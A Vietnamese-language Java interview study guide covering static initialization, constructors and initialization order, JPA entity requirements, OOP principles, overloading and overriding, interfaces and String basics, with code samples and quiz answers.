final: biến không gán lại được, method không override được, class không kế thừa được (String). final khóa tham chiếu, không khóa object: final List<String> tags vẫn add() được. this trỏ tới object hiện tại, super tới phần của class cha; tính tới Java 21, this(...)/super(...) phải là lệnh đầu tiên trong constructor.
	Modifier
	Cùng package
	Class con khác package
	Mọi nơi

	public
	Có
	Có
	Có

	protected
	Có
	Có (qua kế thừa)
	Không

	default
	Có
	Không
	Không

	private
	Không
	Không
	Không



Phần static chạy khi nào: nạp và khởi tạo class
Câu "static block chạy một lần khi nạp class" ở trên đúng nhưng chưa đủ để đọc code phỏng vấn. Cần tách hai bước: JVM nạp (load) file .class vào bộ nhớ, rồi khởi tạo (initialize) class, tức là chạy các lệnh gán static field và các static block. Mọi thứ in ra màn hình từ phần static đều xảy ra ở bước khởi tạo. JVM khởi tạo class một cách "lười": chỉ làm khi class được dùng chủ động lần đầu tiên, cụ thể là khi:
1. tạo object bằng new Foo();
1. gọi static method Foo.bar();
1. đọc hoặc ghi một static field không phải hằng compile-time;
1. một class con được khởi tạo: class cha luôn được khởi tạo trước;
1. gọi reflection như Class.forName("com.example.Foo");
1. class chứa main được khởi tạo trước khi main bắt đầu chạy.
Các trường hợp sau không kích hoạt khởi tạo:
1. đọc hằng compile-time: field static final kiểu primitive hoặc String, gán bằng giá trị biết ngay lúc biên dịch, ví dụ static final int MAX = 10;. Compiler chép thẳng giá trị 10 vào chỗ dùng, nên lúc chạy không cần chạm tới class Foo;
1. khai báo biến kiểu class (Foo f = null;) hoặc tạo mảng (new Foo[3] chỉ tạo mảng chứa 3 ô null, chưa có object Foo nào).
Hai quy tắc còn lại: khởi tạo xảy ra đúng một lần cho mỗi class (JVM tự đảm bảo, kể cả khi nhiều thread cùng dùng class lần đầu), và static field initializer cùng static block chạy theo thứ tự xuất hiện trong code, từ trên xuống. Đoạn code sau in ra từng bước để bạn đối chiếu:
	class Config {
    static final int MAX = 10;                          // compile-time constant: inlined by javac
    static int counter = log("static field counter");   // runs 1st during initialization
    static { log("static block"); }                     // runs 2nd (textual order)
 
    static int log(String msg) {
        System.out.println("Config: " + msg);
        return 0;
    }
    static void hello() { System.out.println("Config.hello()"); }
}
 
public class StaticInitDemo {
    static { System.out.println("StaticInitDemo static block"); } // before main
 
    public static void main(String[] args) {
        System.out.println("main starts");
        System.out.println(Config.MAX);    // prints: 10, Config is NOT initialized
        Config[] arr = new Config[3];      // array only: no initialization
        Config ref = null;                 // variable only: no initialization
        Config.hello();                    // first active use: initialize Config, then call
        Config.hello();                    // already initialized: nothing extra printed
    }
}



Giải thích: output lần lượt là:
	StaticInitDemo static block
main starts
10
Config: static field counter
Config: static block
Config.hello()
Config.hello()



1. Dòng đầu tiên in trước main starts vì class chứa main phải được khởi tạo trước khi JVM gọi main.
1. Config.MAX in 10 mà không kèm dòng "Config: ..." nào: MAX là hằng compile-time, javac đã thay Config.MAX bằng số 10 ngay trong bytecode của StaticInitDemo.
1. new Config[3] và Config ref = null cũng không in gì.
1. Lời gọi Config.hello() đầu tiên kích hoạt khởi tạo: counter được gán (in "static field counter") rồi mới tới static block, đúng thứ tự viết trong code. Lời gọi thứ hai không in lại, vì mỗi class chỉ khởi tạo một lần.
Nếu đổi MAX thành static final int MAX = computeMax(); thì giá trị chỉ biết lúc chạy, không còn là hằng compile-time, và đọc Config.MAX sẽ kích hoạt khởi tạo như bình thường. Phần static này là bước đầu tiên; thứ tự đầy đủ khi tạo object (instance block, constructor, cha trước con) nằm ở N1.4.
Câu hỏi (Cơ bản): final, finally và finalize khác nhau thế nào?
final khóa biến/method/class; finally là khối dọn dẹp luôn chạy sau try/catch; finalize() từng được GC gọi trước khi thu hồi object, không đảm bảo thời điểm hay có chạy, deprecated từ Java 9 và for removal từ Java 18. Giải phóng tài nguyên dùng try-with-resources.
Câu hỏi (Cơ bản): Từ static method gọi instance method được không?
Không gọi trực tiếp được vì không có this; phải qua một object cụ thể. Chiều ngược lại thì thoải mái.
	BẪY THƯỜNG GẶP
Nghĩ protected chỉ dành cho class con. Thực tế nó mở cho mọi class cùng package, rộng hơn default.



Câu hỏi (Đọc code): Đoạn code dưới đây in ra gì?
	class Settings {
    static final String NAME = "app";              // compile-time constant
    static final long STARTED = System.nanoTime(); // not a compile-time constant
    static { System.out.println("Settings initialized"); }
}
 
public class StaticQuiz {
    public static void main(String[] args) {
        System.out.println(Settings.NAME);
        System.out.println("---");
        System.out.println(Settings.STARTED > 0);
        System.out.println(Settings.STARTED > 0);
    }
}



Đáp án:
In app, ---, Settings initialized, true, true.
1. NAME là static final String gán bằng literal nên là hằng compile-time; compiler chép "app" vào StaticQuiz, đọc nó không khởi tạo Settings.
1. STARTED gán bằng System.nanoTime(), giá trị chỉ biết lúc chạy, nên lần đọc đầu tiên kích hoạt khởi tạo Settings và static block in "Settings initialized" trước khi in true.
1. Lần đọc thứ hai không in lại vì class chỉ khởi tạo một lần.
Câu hỏi (Hiểu sâu): final List<String> tags = new ArrayList<>(); có làm list bất biến không?
Không: final chỉ khóa biến (không trỏ sang object khác được), không khóa object mà nó trỏ tới. tags.add("java") vẫn chạy; chỉ tags = new ArrayList<>(); mới bị compiler báo lỗi cannot assign a value to final variable tags. Muốn nội dung cũng không đổi được thì dùng List.of(...) hoặc List.copyOf(...), lúc đó add() ném UnsupportedOperationException.
Câu hỏi (Thực chiến): Đặt đoạn nạp cấu hình nặng (đọc file, gọi mạng) trong static block có vấn đề gì?
Static block chạy ngầm ở lần dùng class đầu tiên, khó kiểm soát thời điểm và khó xử lý lỗi. Nếu static block ném exception, JVM báo ExceptionInInitializerError, class bị đánh dấu khởi tạo thất bại và mọi lần dùng sau ném NoClassDefFoundError, kiểu lỗi rất khó đọc trên production. Code static còn khó test vì không thay thế (mock) được. Trong Spring, nạp cấu hình qua Bean (@ConfigurationProperties, @PostConstruct) để container quản lý thứ tự và lỗi rõ ràng.
N1.4 Class, object, constructor và thứ tự khởi tạo
	NHẮC LẠI KIẾN THỨC
Phần static của class (static field, static block) chạy đúng một lần khi class được khởi tạo, ở lần dùng chủ động đầu tiên, class cha trước class con (xem N1.3). Mục này nối tiếp: sau phần static là phần của từng object, chạy lại mỗi lần new.



Class là bản thiết kế, object là thực thể tạo bằng new trên Heap. Class không khai báo constructor nào thì compiler thêm default constructor rỗng. Constructor overload được và gọi nhau (chaining): Product(String name) gọi this(name, 0L) để logic kiểm tra chỉ nằm ở constructor đầy đủ.
Thứ tự khởi tạo khi có kế thừa rất hay bị hỏi. Các dòng in dưới đây đánh số theo thứ tự thực tế:
	class Base {
    static { System.out.println("1. Base static block"); }
    { System.out.println("3. Base instance block"); }
    Base() { System.out.println("4. Base constructor"); }
}
 
class Derived extends Base {
    static { System.out.println("2. Derived static block"); }
    { System.out.println("5. Derived instance block"); }
    Derived() {
        super();                                  // inserted by the compiler if omitted
        System.out.println("6. Derived constructor");
    }
}
 
public class InitOrder {
    public static void main(String[] args) {
        new Derived();                            // prints 1 to 6
        new Derived();                            // prints only 3 to 6
    }
}



Giải thích: static block chạy một lần khi class được nạp, cha trước con, nên lần new thứ hai không in lại 1 và 2. Mỗi lần new, constructor con gọi super() đầu tiên, nên toàn bộ phần của cha (field initializer, instance block, constructor) xong rồi mới tới phần của con.
Class cha chỉ có constructor có tham số
Constructor là khối code chạy khi tạo object, dùng để đưa object về trạng thái hợp lệ ban đầu. Hai quy tắc của compiler dẫn tới lỗi rất hay gặp:
1. Nếu constructor của class con không tự gọi this(...) hay super(...) ở dòng đầu, compiler tự chèn super();, tức là gọi constructor không tham số của class cha.
1. Compiler chỉ tạo default constructor khi class không khai báo constructor nào. Bạn viết một constructor có tham số thì compiler không tạo constructor rỗng nữa.
Ghép hai quy tắc lại: class cha chỉ có Animal(String name) thì lời gọi super() do compiler chèn không tìm được constructor phù hợp. Code sai:
	class Animal {
    private final String name;
    Animal(String name) { this.name = name; }   // only constructor: no default one is generated
}
 
class Dog extends Animal {
    Dog() { }                                   // compiler inserts super(); here
}



javac báo nguyên văn:
	Dog.java:7: error: constructor Animal in class Animal cannot be applied to given types;
    Dog() { }                                   // compiler inserts super(); here
          ^
  required: String
  found:    no arguments
  reason: actual and formal argument lists differ in length
1 error



Giải thích: "cannot be applied to given types" nghĩa là có constructor Animal, nhưng danh sách đối số không khớp: nó cần một String (required: String), còn lời gọi super() ngầm không truyền gì (found: no arguments). Lỗi trỏ vào constructor Dog() chứ không phải dòng nào bạn viết, vì dòng gây lỗi là dòng compiler chèn vào. Nếu Dog không viết constructor nào, compiler tạo Dog() { super(); } và báo lỗi tương tự ở dòng khai báo class. Bản sửa gọi super(name) tường minh:
	class Animal {
    private final String name;
    Animal(String name) { this.name = name; }
    String name() { return name; }
}
 
class Dog extends Animal {
    Dog(String name) {
        super(name);                            // explicit call: matches Animal(String)
    }
}
 
public class SuperFix {
    public static void main(String[] args) {
        System.out.println(new Dog("Milu").name()); // prints: Milu
    }
}



Giải thích: Dog(String name) chuyển tên lên cho Animal, phần của cha được khởi tạo đầy đủ trước rồi mới tới con. Cách sửa thứ hai là thêm constructor rỗng vào Animal, nhưng chỉ làm vậy khi một con vật "không tên" là hợp lệ về nghiệp vụ; nếu không, bắt buộc truyền tên qua super(name) giúp giữ name luôn có giá trị.
Ví dụ thực tế: JPA entity bắt buộc có constructor không tham số
Khi đọc dữ liệu từ DB, Hibernate (cài đặt JPA mà Spring Boot dùng) phải tự tạo object entity mà không biết constructor nghiệp vụ của bạn cần tham số gì. Nó làm theo hai bước bằng reflection (API cho phép code thao tác với class, constructor, field lúc chạy mà không viết tên cụ thể trong code): gọi constructor không tham số để có object rỗng, rồi gán giá trị từng cột vào field. Ngoài ra, để lazy loading, Hibernate tạo proxy: một class con sinh ra lúc chạy, kế thừa entity của bạn và chỉ truy vấn DB khi có method được gọi. Vì vậy entity:
1. phải có constructor không tham số, public hoặc protected (dùng protected để code nghiệp vụ không tạo được entity rỗng, còn Hibernate và proxy ở class con vẫn gọi được);
1. không nên là final (và các method không nên final), nếu không Hibernate không tạo được proxy để lazy load.
	import jakarta.persistence.Entity;
import jakarta.persistence.GeneratedValue;
import jakarta.persistence.Id;
 
@Entity
public class Customer {
    @Id @GeneratedValue
    private Long id;
    private String email;
 
    protected Customer() { }                    // for Hibernate only (reflection, proxies)
 
    public Customer(String email) {             // for business code: email is mandatory
        this.email = email;
    }
 
    public Long getId() { return id; }
    public String getEmail() { return email; }
}



Giải thích: code nghiệp vụ chỉ gọi được new Customer("a@b.com"), nên không có khách hàng thiếu email; Hibernate dùng protected Customer() khi load từ DB. Nếu xóa constructor rỗng (chỉ giữ constructor có tham số), compiler không tạo default constructor nữa (quy tắc ở trên), và Hibernate báo lỗi khi cần tạo entity (hoặc ngay lúc khởi động, tùy phiên bản), thông báo dạng org.hibernate.InstantiationException: No default constructor for entity ...; câu chữ cụ thể khác nhau giữa các phiên bản Hibernate 6.x. Lỗi này chỉ xuất hiện lúc chạy, không phải lúc biên dịch, vì Hibernate gọi constructor qua reflection.
Với Lombok, cách viết tương đương thường gặp trong dự án:
	import jakarta.persistence.Entity;
import jakarta.persistence.Id;
import lombok.AccessLevel;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Getter;
import lombok.NoArgsConstructor;
 
@Entity
@Getter
@NoArgsConstructor(access = AccessLevel.PROTECTED) // no-arg constructor for Hibernate only
@AllArgsConstructor                                // required by @Builder
@Builder
public class Product {
    @Id
    private Long id;
    private String name;
}



Giải thích: @NoArgsConstructor(access = AccessLevel.PROTECTED) sinh protected Product() {} cho Hibernate; @Builder cần một constructor nhận đủ field, nên đi kèm @AllArgsConstructor (@Builder chỉ tự sinh constructor đầy đủ, package-private, khi class không có constructor tường minh nào và không có annotation @XArgsConstructor nào; ở đây đã có @NoArgsConstructor nên nó không sinh nữa và code builder sinh ra sẽ lỗi biên dịch). Code nghiệp vụ tạo object bằng Product.builder().name("Bút").build().
Vì sao record không dùng làm entity được: record (Java 16+) có mọi field final, chỉ có constructor đầy đủ tham số (không có constructor rỗng), và record luôn là class final. Hibernate không tạo được object rỗng rồi gán field, cũng không tạo được proxy kế thừa nó. Record phù hợp làm DTO, projection kết quả truy vấn, hoặc @Embeddable (Hibernate 6.2+ hỗ trợ), không phải entity.
Câu hỏi (Cơ bản): Khi nào compiler tự tạo default constructor?
Chỉ khi class không khai báo constructor nào. Hệ quả: class cha chỉ có constructor có tham số thì class con phải gọi super(...) tường minh; JPA entity thiếu constructor rỗng sẽ lỗi khi Hibernate tạo object.
Câu hỏi (Cơ bản): Constructor có kế thừa được không? Constructor private dùng làm gì?
Không, class con chỉ gọi constructor cha qua super(...). Constructor private dùng cho utility class, Singleton, hoặc buộc tạo object qua static factory.
Câu hỏi (Đọc code): Đoạn code dưới đây in ra gì?
	class Parent {
    static { System.out.println("A"); }
    { System.out.println("B"); }
    Parent() { System.out.println("C"); }
}
 
class Kid extends Parent {
    static { System.out.println("D"); }
    private String tag = log("E");
    Kid() { System.out.println("F"); }
    static String log(String s) { System.out.println(s); return s; }
}
 
public class InitQuiz {
    public static void main(String[] args) {
        new Kid();
        System.out.println("--");
        new Kid();
    }
}



Đáp án:
In A D B C E F -- B C E F (mỗi chữ một dòng).
1. Lần new Kid() đầu tiên kích hoạt khởi tạo class: cha trước con nên static block của Parent (A) rồi của Kid (D).
1. Tạo object: constructor Kid() gọi ngầm super() trước, nên phần của cha chạy xong (instance block B, constructor C).
1. Sau đó mới tới field initializer của con (tag = log("E")) rồi thân constructor Kid (F).
1. Lần new thứ hai không in lại A, D vì phần static chỉ chạy một lần (N1.3).
Câu hỏi (Đọc code): Tìm lỗi. Entity dưới đây chạy unit test thuần thì ổn, nhưng ứng dụng lỗi khi load từ DB. Sai ở đâu?
	import jakarta.persistence.Entity;
import jakarta.persistence.Id;
 
@Entity
public final class Invoice {
    @Id
    private Long id;
    private final String code;
 
    public Invoice(String code) { this.code = code; }
}



Đáp án:
Có ba lỗi: thiếu constructor không tham số, class final, và field final. Hibernate cần gọi constructor rỗng qua reflection rồi gán giá trị cột vào field; vì đã có Invoice(String code) nên compiler không tạo constructor rỗng, Hibernate báo InstantiationException lúc chạy. final class làm Hibernate không tạo được proxy cho lazy loading. Field final về nguyên tắc không được gán lại sau constructor, trái với cách Hibernate nạp dữ liệu; đặc tả JPA yêu cầu class entity, method và field persistent không được final. Sửa: bỏ final ở class và field, thêm protected Invoice() {}, giữ constructor có tham số cho code nghiệp vụ. Unit test không phát hiện vì nó gọi thẳng new Invoice("X").
Câu hỏi (Hiểu sâu): Vì sao không nên gọi method có thể bị override từ constructor của class cha?
Vì lúc constructor cha chạy, phần của class con chưa được khởi tạo, nên method override ở con sẽ thấy field của con còn giá trị mặc định (null, 0). Theo thứ tự ở trên, field initializer và constructor của con chỉ chạy sau khi super() xong. Nếu Base() gọi describe() và Derived.describe() đọc field name của Derived, kết quả là null hoặc NPE. Quy tắc: constructor chỉ gọi method private, static hoặc final.
N1.5 Bốn tính chất của OOP
	NHẮC LẠI KIẾN THỨC
private chỉ class đó truy cập được, protected mở cho class con và cùng package (xem bảng access modifier ở N1.3). Constructor con luôn gọi constructor cha trước bằng super(...), tường minh hoặc do compiler chèn (xem N1.4).



OOP (lập trình hướng đối tượng) tổ chức chương trình thành các object, mỗi object gói cả dữ liệu (field) lẫn hành vi (method) thao tác trên dữ liệu đó. Bốn tính chất dưới đây là bốn "công cụ" để các object vừa tự bảo vệ, vừa tái sử dụng được, vừa thay thế được cho nhau.
Đóng gói (Encapsulation): giấu dữ liệu bằng private, chỉ cho thay đổi qua method có kiểm tra.
	public class BankAccount {
    private long balance;                        // cannot be modified directly from outside
 
    public long getBalance() { return balance; }
 
    public void withdraw(long amount) {
        if (amount <= 0 || amount > balance) {   // keep the invariant: balance never negative
            throw new IllegalArgumentException("Số tiền rút không hợp lệ");
        }
        balance -= amount;
    }
    // Intentionally no setBalance()
}



Giải thích: số dư không thể âm vì mọi thay đổi phải qua withdraw có kiểm tra. Sinh setter cho mọi field thì phá đóng gói y như để field public.
Chữ bất biến (invariant) ở comment trong code nghĩa là điều kiện luôn phải đúng với object trong suốt vòng đời, ở đây là "số dư không bao giờ âm". Đóng gói tồn tại để giữ các bất biến như vậy: nếu balance là public, bất kỳ dòng code nào ở bất kỳ đâu cũng có thể gán account.balance = -500 và bạn không còn một chỗ duy nhất để kiểm tra.
Kế thừa (Inheritance): class con extends class cha, quan hệ "is-a". Java chỉ cho kế thừa một class (tránh diamond problem), mọi class ngầm kế thừa Object.
Diamond problem (vấn đề kim cương) là tình huống class D kế thừa cả B và C, mà B, C cùng kế thừa A và cùng override một method của A theo hai cách khác nhau. Gọi method đó trên D thì không rõ nên chạy bản của B hay của C (sơ đồ bốn class này có hình quả trám, nên có tên như vậy). Java tránh hẳn vấn đề này bằng cách chỉ cho extends một class. Với default method của interface, Java bắt class tự giải quyết xung đột (xem N1.7).
	class Employee {
    protected final long baseSalary;
    Employee(long baseSalary) { this.baseSalary = baseSalary; }
    long salary() { return baseSalary; }
}
 
class Manager extends Employee {                     // Manager is-a Employee
    private final long allowance;
 
    Manager(long baseSalary, long allowance) {
        super(baseSalary);                           // initialize the parent part first
        this.allowance = allowance;
    }
 
    @Override
    long salary() { return baseSalary + allowance; } // extends the parent's behavior
}



Giải thích: Manager dùng lại baseSalary, chỉ thêm phụ cấp và override cách tính lương. super(...) bắt buộc vì Employee không có constructor rỗng.
Đa hình (Polymorphism): một tham chiếu kiểu cha, method của object thật được gọi. Dùng lại hai class trên:
	import java.util.List;
 
public class PayrollDemo {
    public static void main(String[] args) {
        List<Employee> staff = List.of(new Employee(10), new Manager(20, 5));
        long total = 0;
        for (Employee e : staff) {
            total += e.salary();       // Manager.salary() runs for a Manager object
        }
        System.out.println(total);     // 35
    }
}



Giải thích: vòng lặp chỉ biết kiểu Employee, nhưng JVM gọi đúng Manager.salary() (25), tổng ra 35. Thêm loại nhân viên mới chỉ cần thêm class con, không sửa vòng lặp.
Trừu tượng (Abstraction): chỉ lộ "làm gì", giấu "làm thế nào", qua interface hoặc abstract class.
	interface Notifier {
    void send(String to, String message);        // contract: says only "what"
}
 
class EmailNotifier implements Notifier {
    public void send(String to, String message) {
        System.out.println("Email tới " + to + ": " + message);
    }
}
 
class OrderService {
    private final Notifier notifier;             // depends on the abstraction
    OrderService(Notifier notifier) { this.notifier = notifier; }
 
    void placeOrder(String customer) {
        notifier.send(customer, "Đặt hàng thành công");
    }
}



Giải thích: OrderService không biết thông báo đi bằng email hay SMS; đổi kênh hoặc test chỉ cần truyền implementation khác vào constructor, đúng cách Spring inject dependency.
Câu hỏi (Hiểu sâu): Đóng gói có phải chỉ là field private kèm getter/setter?
Không. Mục tiêu là object tự bảo vệ tính hợp lệ của trạng thái; getter/setter cho mọi field chỉ tạo ra "túi dữ liệu".
Câu hỏi (Cơ bản): Đa hình có mấy loại?
Hai: compile-time (overloading, chọn theo kiểu khai báo) và runtime (overriding, chọn theo object thật). Nói "đa hình" trong OOP thường ngụ ý loại runtime.
Câu hỏi (Đọc code): Đoạn code dưới đây in ra gì?
	class Animal {
    String sound = "...";
    String speak() { return "..."; }
}
 
class Cat extends Animal {
    String sound = "meo";                       // hides the parent field
    @Override String speak() { return "meo"; }  // overrides the parent method
}
 
public class PolyQuiz {
    public static void main(String[] args) {
        Animal a = new Cat();
        System.out.println(a.sound + " " + a.speak());
    }
}



Đáp án:
In ... meo. Đa hình runtime chỉ áp dụng cho instance method: a.speak() được chọn theo object thật (Cat). Field thì không override được, chỉ bị che (hiding), và được chọn theo kiểu khai báo của biến (Animal), giống static method ở N1.3. Đây cũng là một lý do để field luôn private và chỉ truy cập qua method.
Câu hỏi (Thực chiến): Vì sao trong Spring ta inject interface (PaymentGateway) thay vì class cụ thể (VnpayGateway)?
Để code phụ thuộc vào abstraction, đổi hoặc giả lập implementation mà không sửa code dùng nó. Service chỉ gọi method trong interface, nên đổi cổng thanh toán, thêm implementation mới, hay truyền một bản mock trong unit test đều không cần sửa service. Đây là trừu tượng cộng đa hình trong thực tế: Spring chọn Bean cụ thể lúc chạy, code của bạn chỉ biết hợp đồng. Khi có nhiều implementation cùng interface, Spring cần @Primary hoặc @Qualifier để biết inject cái nào.
N1.6 Overloading và overriding
	NHẮC LẠI KIẾN THỨC
Static method không override được mà chỉ bị che (method hiding), được chọn theo kiểu khai báo (xem N1.3). Đa hình runtime: biến kiểu cha, method của object thật được gọi (xem N1.5).



Chữ ký method (method signature) gồm tên method và danh sách kiểu tham số theo thứ tự; return type và tên tham số không thuộc chữ ký. Vì vậy hai method chỉ khác return type bị coi là trùng và gây lỗi biên dịch.
Overloading: cùng tên method, khác danh sách tham số. Overriding: class con định nghĩa lại method instance của cha với cùng chữ ký.
	Tiêu chí
	Overloading
	Overriding

	Tham số
	Phải khác (số lượng, kiểu, thứ tự)
	Phải giống hệt

	Return type
	Tùy ý, nhưng chỉ khác return type là lỗi
	Giống hoặc kiểu con (covariant)

	Access modifier
	Tùy ý
	Không được hẹp hơn

	Checked exception
	Tùy ý
	Không được rộng hơn hoặc thêm mới

	Thời điểm chọn
	Biên dịch (static binding)
	Chạy (dynamic binding)



Static binding nghĩa là overload được chọn theo kiểu khai báo: có print(Object) và print(String), lời gọi Object o = "hi"; print(o); chạy bản Object. Đoạn code sau minh họa các quy tắc override:
Chú thích hai thuật ngữ dùng trong bảng và đoạn code dưới: binding là việc quyết định một lời gọi method sẽ chạy đoạn code nào; static binding quyết định lúc biên dịch, dynamic binding quyết định lúc chạy. Covariant return type nghĩa là method override được phép trả về kiểu con của kiểu cha đã khai báo (cha trả Object, con trả String), vì ai nhận Object thì nhận String vẫn an toàn.
	import java.io.FileNotFoundException;
import java.io.IOException;
 
class Report {
    protected Object export() throws IOException { return "raw"; }
}
 
class PdfReport extends Report {
    @Override
    public String export() throws FileNotFoundException { // public is wider than protected
        return "pdf";                                      // String: a subtype of Object
    }                                                      // narrower exception than IOException
}
// Wrong: Object export() throws Exception (narrower access, wider exception)



Giải thích: PdfReport hợp lệ theo cả ba quy tắc. Lý do là tính thay thế: code gọi qua kiểu Report chỉ chuẩn bị xử lý IOException và mong gọi được method, class con không được phá kỳ vọng đó. Unchecked exception thì ném tùy ý.
Câu hỏi (Hiểu sâu): Có override được static, private, final method không?
Không. Static chỉ bị hiding (N1.3), private không nhìn thấy từ class con nên viết trùng tên là method mới, final bị compiler cấm.
Câu hỏi (Thực chiến): Vì sao luôn nên dùng @Override?
Để compiler kiểm tra giúp. Viết nhầm equals(Employee o) là overload, HashSet vẫn dùng equals của Object và bug rất khó thấy; có @Override thì lỗi bị chặn khi biên dịch.
	BẪY THƯỜNG GẶP
"Overload được main không?" Được, nhưng JVM chỉ gọi đúng public static void main(String[] args) làm điểm vào.



Câu hỏi (Đọc code): Đoạn code dưới đây in ra gì?
	public class OverloadQuiz {
    static void print(Object o)  { System.out.println("Object"); }
    static void print(String s)  { System.out.println("String"); }
    static void print(long x)    { System.out.println("long"); }
    static void print(Integer x) { System.out.println("Integer"); }
 
    public static void main(String[] args) {
        Object o = "hi";
        print(o);
        print("hi");
        print(5);
    }
}



Đáp án:
In Object, String, long.
1. print(o): overload được chọn lúc biên dịch theo kiểu khai báo Object, dù object thật là String.
1. print("hi"): kiểu khai báo là String, bản cụ thể nhất khớp chính xác.
1. print(5): 5 là int, không có print(int). Compiler ưu tiên nới rộng kiểu primitive (int sang long) trước khi xét autoboxing (int sang Integer, xem N1.2), nên chọn print(long). Thứ tự ưu tiên này tồn tại để code viết trước Java 5 (chưa có autoboxing) không đổi hành vi.
Câu hỏi (Đọc code): Tìm lỗi. Class con dưới đây có hai lỗi biên dịch. Chỉ ra và giải thích.
	import java.io.IOException;
 
class Exporter {
    public String export() throws IOException { return "raw"; }
}
 
class CsvExporter extends Exporter {
    @Override
    protected String export() throws Exception { return "csv"; }
}



Đáp án:
Lỗi 1: thu hẹp access từ public xuống protected; lỗi 2: khai báo checked exception rộng hơn (Exception rộng hơn IOException). javac báo lần lượt từng lỗi: trước tiên là export() in CsvExporter cannot override export() in Exporter kèm dòng attempting to assign weaker access privileges; was public; sửa access thành public rồi biên dịch lại thì gặp tiếp lỗi cùng tiêu đề kèm dòng overridden method does not throw Exception. Lý do chung là tính thay thế: code đang gọi exporter.export() qua kiểu Exporter được hứa là method public và chỉ phải xử lý IOException; class con không được phá lời hứa đó. Sửa: giữ public và chỉ ném IOException, một kiểu con của nó, hoặc không ném gì.
N1.7 Abstract class, interface và composition
	NHẮC LẠI KIẾN THỨC
Trừu tượng là chỉ lộ "làm gì", giấu "làm thế nào"; OrderService phụ thuộc interface Notifier chứ không phụ thuộc EmailNotifier (xem N1.5). Class con gọi constructor cha qua super(...) (xem N1.4).



Nói bằng lời thường: abstract class là một class "làm dở", có sẵn phần chung nhưng để trống vài method cho class con điền vào, nên không tạo object trực tiếp được. Interface là một bản cam kết: "class nào implement tôi thì phải có các method này", không quan tâm class đó thuộc họ nào.
Abstract class không new được, có thể có field, constructor, method thường và method abstract. Interface là hợp đồng hành vi: từ Java 8 có default/static method, Java 9 có private method, nhưng không có field instance.
	abstract class Shape {                               // has state and a constructor
    private final String name;
    protected Shape(String name) { this.name = name; }
    abstract double area();                          // subclasses must implement
    String describe() { return name + ": " + Math.round(area()); }
}
 
interface Printable {                                // a "capability"
    void print();
    default void printTwice() { print(); print(); } // Java 8+: method with a body
}
 
class Circle extends Shape implements Printable {    // one superclass, many interfaces
    private final double r;
    Circle(double r) { super("Hình tròn"); this.r = r; }
    double area() { return Math.PI * r * r; }
    public void print() { System.out.println(describe()); }
}



Giải thích: new Circle(2).printTwice() in hai lần "Hình tròn: 13". Shape giữ state và khung chung cho một họ class; Printable là khả năng class nào cũng gắn thêm được. Đó cũng là quy tắc chọn giữa hai loại.
Default method (Java 8+) ra đời để thêm method mới vào interface mà không làm hỏng các class đã implement nó: trước Java 8, thêm stream() vào Collection sẽ bắt mọi class collection trên thế giới phải sửa. Nhưng implement hai interface có default method trùng tên thì Java không tự chọn (đây là dạng diamond problem ở N1.5). Code sai:
	interface Greeter  { default String hi() { return "Greeter"; } }
interface Welcomer { default String hi() { return "Welcomer"; } }
 
class Bot implements Greeter, Welcomer { }      // does not compile



javac báo:
	error: types Greeter and Welcomer are incompatible;
  class Bot inherits unrelated defaults for hi() from types Greeter and Welcomer



Bản sửa: class phải tự override và có thể chọn gọi bản của interface nào bằng cú pháp TênInterface.super.method():
	interface Greeter  { default String hi() { return "Greeter"; } }
interface Welcomer { default String hi() { return "Welcomer"; } }
 
public class Bot implements Greeter, Welcomer {
    @Override
    public String hi() { return Greeter.super.hi() + "+" + Welcomer.super.hi(); } // resolve explicitly
 
    public static void main(String[] args) {
        System.out.println(new Bot().hi());     // prints: Greeter+Welcomer
    }
}



Giải thích: bản sai bị chặn ngay lúc biên dịch vì compiler không đoán thay bạn. Bản sửa override hi() và gọi rõ ràng cả hai bản default; có thể chỉ chọn một. Đây là cách Java cho "đa kế thừa hành vi" qua interface mà vẫn không rơi vào diamond problem mơ hồ.
Composition (has-a) là class chứa object khác và ủy quyền việc cho nó, như OrderService chứa Notifier ở N1.5; inheritance (is-a) là class con là một dạng của cha. Car nên có Engine chứ không extends Engine, vì xe không "là một" động cơ. Vì sao nên ưu tiên composition: Chương 1.
Câu hỏi (Cơ bản): Abstract class có constructor không?
Có. Nó được gọi qua super(...) từ class con để khởi tạo trạng thái chung, như Shape(String name) ở trên.
Câu hỏi (Hiểu sâu): Sau Java 8, interface còn khác abstract class ở đâu?
Ở trạng thái (interface không có field instance, không constructor) và đa kế thừa (implement nhiều interface, chỉ extends một class).
	BẪY THƯỜNG GẶP
Trả lời "interface chỉ chứa method abstract". Câu này sai từ Java 8; người 2–4 năm nói vậy sẽ bị đánh giá là không cập nhật.



Câu hỏi (Thực chiến): Trong dự án Spring, khi nào bạn thật sự dùng abstract class?
Khi nhiều class chia sẻ cùng một khung xử lý và state, chỉ khác vài bước: mẫu Template Method. Ví dụ AbstractImporter có method importFile() cố định các bước đọc file, validate, lưu DB, ghi log, còn parseRow() để abstract cho CsvImporter, ExcelImporter tự cài. Với "khả năng" có thể gắn cho nhiều class không liên quan (gửi thông báo, tính phí) thì dùng interface để Spring inject và dễ mock. Nếu chỉ muốn tái dùng vài method tiện ích, composition (chứa một object helper) thường tốt hơn kế thừa.
N1.8 String cơ bản
	NHẮC LẠI KIẾN THỨC
Biến kiểu object chỉ giữ tham chiếu tới object trên Heap; == giữa hai biến tham chiếu so sánh "có trỏ cùng một object không", giống bẫy Integer 128 ở N1.2.



String pool là một vùng trong Heap nơi JVM giữ đúng một object cho mỗi chuỗi literal (chuỗi viết thẳng trong code như "java"). Mọi chỗ trong chương trình viết "java" đều nhận chung object đó, tiết kiệm bộ nhớ. Việc dùng chung này chỉ an toàn vì String bất biến (immutable): không method nào sửa được nội dung object, nên không ai làm "hỏng" chuỗi của người khác.
String bất biến: mọi method "sửa" chuỗi đều trả về String mới; literal nằm trong String pool (thuộc Heap). Method hay dùng: length, charAt, substring(begin, end) (không lấy end), indexOf, contains, replace, split, String.join, equalsIgnoreCase, strip/isBlank (Java 11+). Đoạn code sau phân biệt == với equals():
	public class StringCompare {
    public static void main(String[] args) {
        String a = "java";
        String b = "java";                  // literal: reuses the pooled object
        String c = new String("java");      // new: always creates a new object
        System.out.println(a == b);         // true: same object
        System.out.println(a == c);         // false: different objects
        System.out.println(a.equals(c));    // true: same content
 
        String s = "hello";
        s.toUpperCase();                    // creates a new String and discards it
        System.out.println(s);              // hello
    }
}



Giải thích: == so tham chiếu, equals() so nội dung. a == b đúng chỉ vì cả hai là literal trong pool; chuỗi từ request hay DB là object mới nên == sai. s không đổi vì String bất biến, phải gán lại s = s.toUpperCase().
